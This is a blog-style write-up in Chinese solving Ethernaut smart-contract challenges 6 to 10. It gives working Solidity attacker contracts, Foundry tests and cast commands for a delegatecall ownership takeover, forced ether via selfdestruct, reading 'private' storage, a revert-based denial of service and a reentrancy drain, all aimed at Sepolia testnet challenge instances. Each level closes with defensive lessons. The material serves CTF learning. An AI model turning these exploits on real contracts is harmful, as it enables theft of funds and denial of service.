Skip to content

Ethernaut LV6-LV10 解题记录

字数
2130 字
阅读时间
12 分钟

Lv 6 Delegation

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
  • Fallback methods
  • Method ids
Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

这题主要是了解 Solidity 中 delegatecall 的内容

Contract ABI Specification,可以通过其中的 example 来了解如何生成 Method ID

翻看 ethernaut 的控制台实现源码可以知道都是使用的web3.js,可以使用 sendTransaction 来传入data,调用不存在的函数,这点在 Level1-Fallout 就使用了,这里可以细化一下。

data 信息是通过 id 生成的函数签名,会通过 fallback 函数使用 Delegate 合约处理后返回,调用的是 pwn 函数来将 owner 修改为 msg.sender。

由于 delegatecall 的特性,msg.sender 在这里不是通过 fallback 使用 Delegate.pwn 的 Delegation,而是与 Delegation 交互、发送原始交易的 player

ethers.utils.id 本质上就是字符串转 id 的哈希函数 source

web3.eth document sendTransaction

JavaScript
// payload
const functionSignature = "pwn()";

const hashSignature = _ethers.utils.id(functionSignature)

await contract.sendTransaction({from: player, data: "0xdd365b8b"});  // hashSignature 的前八个字节

await contract.owner(); // should be player

Usage of delegatecall is particularly risky and has been used as an attack vector on multiple historic hacks. With it, your contract is practically saying "here, -other contract- or -other library-, do whatever you want with my state". Delegates have complete access to your contract's state. The delegatecall function is a powerful feature, but a dangerous one, and must be used with extreme care.

Please refer to the The Parity Wallet Hack Explained article for an accurate explanation of how this idea was used to steal 30M USD.

Lv 7 Force

Some contracts will simply not take your money ¯\_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

Things that might help:

  • Fallback methods
  • Sometimes the best way to attack a contract is with another contract.
  • See the "?" page above, section "Beyond the console"

这题的合约没什么内容,只有一只猫猫

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

但是通过目标和 help 我们可以知道需要增加 contract 的 balance 但不能直接添加,应该要部署攻击合约。

题目 Force 其实也是重要的提示,我们需要向 contract 强行发送 ETH。

这里考察的其实就是 Self Destruct 和执行 selfdestruct 后余额的传送。我们可以构建攻击合约,fund,然后调用 selfdestruct 销毁,将余额强行发送给目标 contract。

ForceAttacker.sol

Solidity
// SPDX-License-Identifier: NOLICENCE
pragma solidity ^0.8.0;

contract ForceAttacker {
    receive() external payable {}

    function attack(address payable _target) public {
        selfdestruct(_target);
    }
}

可以使用 forge 的测试和脚本功能来完成挑战

cheatcode deal

Force.t.sol

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {Force} from "../src/Force.sol";
import {ForceAttacker} from "../src/ForceAttacker.sol";

contract ForceAttackerTest is Test {
    Force target;
    ForceAttacker attacker;

    function setUp() public {
        target = new Force();
        attacker = new ForceAttacker();
        vm.deal(address(attacker), 1 wei);
    }

    function testAttack() public {
        assertEq(address(target).balance, 0);
        attacker.attack(payable(address(target)));
        assertEq(address(target).balance, 1 wei);
    }
}
zsh
forge test ./07_Force/test/Force.t.sol

编写 Script 正式验证并进行链上操作

Forge.s.sol

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {ForceAttacker} from "../src/ForceAttacker.sol";

contract ForceAttackerScript is Script {
    function run() external {
        address targetAddress = 0x23fb3DbD0F473Aa3678F9f95fD09112F0ef2fc2D;

        vm.createSelectFork("sepolia");
        vm.startBroadcast(vm.envUint("SEPOLIA_PRIVATE_KEY"));

        ForceAttacker attacker = new ForceAttacker();

        payable(address(attacker)).transfer(1 wei);
        console.log("Attacker contract deployed and fund, ", address(attacker));

        attacker.attack(payable(targetAddress));
        console.log("Attack!");

        vm.stopBroadcast();

        console.log(
            "Now, the target contract balance = ",
            targetAddress.balance
        );
    }
}
zsh
forge script ./07_Force/script/Force.s.sol:ForceAttackerScript --fork-url $SEPOLIA_RPC_URL --broadcast

In solidity, for a contract to be able to receive ether, the fallback function must be marked payable.

However, there is no way to stop an attacker from sending ether to a contract by self destroying. Hence, it is important not to count on the invariant address(this).balance == 0 for any contract logic.

Lv8 Vault

简单的要求,unlock the vault

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

看上去没什么办法,我们得知道这个 bytes32 password。但是这是在链上,所有东西都是可见的。

利用cast来获取 password 值,然后解锁

zsh
cast storage --rpc-url $SEPOLIA_RPC_URL --etherscan-api-key $ETHERSCAN_API_KEY 0xd2Bed01D7579e3782fa5ac70cAe58799e91b1d39 1
JavaScript
await contract.unlock(<password>)

It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.

To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. zk-SNARKs provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.

Lv 9 King

要求是成为 King,同时结束这场 闹剧 游戏,让owner在提交时无论如何无法重新成为the King

King.sol

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

通过观察我们可以发现关键逻辑在 receive 函数中,查询合约储存就能得知 prize 的具体值。问题主要是如何阻止提交检查时的 reclaim

除了用巨大的 prize 进行阻拦 更好的选择是利用执行中存在的问题。payable(king).transfer(msg.value) 这句代码是将 the new prize 发给 the old King,是整个过程中必须要执行的。但是 transfer 是可以拒绝的,如果 the old King 在 receive 或 fallback 函数中选择回滚,则整个交易都会被回滚,reclaim 也就无法实现了,达成了拒绝服务的效果。

先通过 cast storage 读取 prize 初始值

zsh
cast storage --rpc-url $SEPOLIA_RPC_URL --etherscan-api-key $ETHERSCAN_API_KEY 0x63899275c274eEa78821859Da9560b8A4324bcF6 1

读出来的是16进制,换成十进制其实就是 0.001 ether

KingAttacker.sol

Solidity
// SPDX-License-Identifier: NOLICENCE
pragma solidity ^0.8.0;

contract KingAttacker {
    uint256 public prize = 0.001 ether; // initial prize is 0.001 ether

    constructor() payable {
        require(msg.value >= prize, "Need initial funds.");
    }

    receive() external payable {
        revert("Long live the king!");
    }

    function attack(address payable _target) public {
        (bool success, ) = _target.call{value: prize}("");
        require(success, "Claim failed.");
    }
}

King.t.sol

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {King} from "../src/King.sol";
import {KingAttacker} from "../src/KingAttacker.sol";

contract KingAttackerTest is Test {
    King target;
    KingAttacker attacker;
    address victim = makeAddr("victim");

    function setUp() public {
        vm.deal(victim, 2 ether);
        vm.prank(victim);
        target = new King{value: 0.001 ether}();
        assertEq(target._king(), victim);

        attacker = new KingAttacker();
        vm.deal(address(attacker), 1 ether);
    }

    function testAttack() public {
        attacker.attack(payable(address(target)));
        assertEq(target._king(), address(attacker));

        vm.prank(victim);
        vm.expectRevert("Long live the king!");
        (bool success, ) = address(target).call{value: 1 ether}("");
        require(success, "Claim failed.");
    }
}
zsh
forge test ./09_King/test/King.t.sol -vvv-

King.s.sol

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {KingAttacker} from "../src/KingAttacker.sol";

contract KingAttackerScript is Script {
    function run() external {
        address targetAddress = 0x63899275c274eEa78821859Da9560b8A4324bcF6;

        vm.createSelectFork(vm.envString("SEPOLIA_RPC_URL"));
        vm.startBroadcast(vm.envUint("SEPOLIA_PRIVATE_KEY"));

        KingAttacker attacker = new KingAttacker{value: 0.001 ether}();

        attacker.attack(payable(targetAddress));
        console.log("Attack!");

        vm.stopBroadcast();

        console.log("Attack complete.");
    }
}
zsh
forge script ./09_King/script/King.s.sol:KingAttackerScript -vvv --broadcast

Most of Ethernaut's levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.

In this case, see: King of the Ether and King of the Ether Postmortem.

Lv10 Re-entrancy

目标是 steal all the funds,很直接的危害。通过提示可以知道需要部署攻击合约、注意 Fallback,同时了解 Throw/revert bubbling

早期的 Solidity 版本采用 throw 来处理错误,但是成本高昂,于是引入了 revertrequireassert 用于错误处理,但是加剧了重入攻击的风险。

Reentrance.sol

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

目标合约的漏洞在于 withdraw 函数先进行了 balances 判断和使用 .call 的余额发送、再进行 balances[msg.sender] -= _amount的状态修改,攻击者在接收之前可以不断进行 withdraw 重入操作。编写攻击合约制造重入攻击,重点是在 receive 函数里重新调用 withdraw ,直至目标合约余额耗尽。

ReentrancyAttacker.sol

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;

import {Reentrance} from "./Reentrance.sol";

contract ReentrancyAttacker {
    Reentrance public target;
    uint256 public attackAmount;

    function attack(address payable _target) external payable {
        target = Reentrance(_target);
        attackAmount = msg.value;
        target.donate{value: attackAmount}(address(this));
        target.withdraw(attackAmount);
    }

    function cashOut() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {
        if (address(target).balance > 0) {
            target.withdraw(address(target).balance);
        }
    }
}
zsh

forge create --rpc-url $SEPOLIA_RPC_URL --private-key $FKUSEC_PRIVATE_KEY 10_Re_entrance/src/ReentranceAttacker.sol:ReentranceAttacker --broadcast --constructor-args 0x1a971d4e9AB1558c73ad039Ab0BF35C171f46eDf

cast send --rpc-url $SEPOLIA_RPC_URL --private-key $FKUSEC_PRIVATE_KEY 0x2d9b9dD7da92E1EA94758dC1e8B40e8a38C2165A "attack(address)" 0x1a971d4e9AB1558c73ad039Ab0BF35C171f46eDf --value 0.001ether

cast send 0x2d9b9dD7da92E1EA94758dC1e8B40e8a38C2165A "cashOut()" --rpc-url $SEPOLIA_RPC_URL --private-key $FKUSEC_PRIVATE_KEY

测试网地址余额喜加0.001,薅 OpenZeppelin 羊毛

In order to prevent re-entrancy attacks when moving funds out of your contract, use the Checks-Effects-Interactions pattern being aware that call will only return false without interrupting the execution flow. Solutions such as ReentrancyGuard or PullPayment can also be used.

transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2.

Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your >contract, possibly messing up your state/logic.

Re-entrancy is a common attack. You should always be prepared for it!

The DAO Hack

The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See 15 lines of code that could have prevented TheDAO Hack.

贡献者

页面历史